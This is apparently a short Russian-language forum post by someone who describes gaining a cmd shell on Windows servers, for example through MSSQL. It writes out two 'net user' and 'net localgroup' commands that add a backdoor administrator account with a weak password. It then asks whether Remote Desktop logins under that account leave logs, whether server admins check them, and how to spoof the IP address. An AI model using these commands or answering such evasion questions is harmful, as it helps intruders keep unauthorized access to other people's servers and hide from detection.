Довольно часто удается получить доступ к cmd шеллу в виндовсе(например через mssql). Если прав хватает, то легко создать нового администратора:
net user admin 12345 /add
net localgroup administrators admin /add

Если под этим пользователем логиниться через Remote Desktop то остатся логи? При обнаружении этого пользователя адмbнами сервера их обычно смотрят?
Можно ли как-нибудь подменить свой ip в таком случае.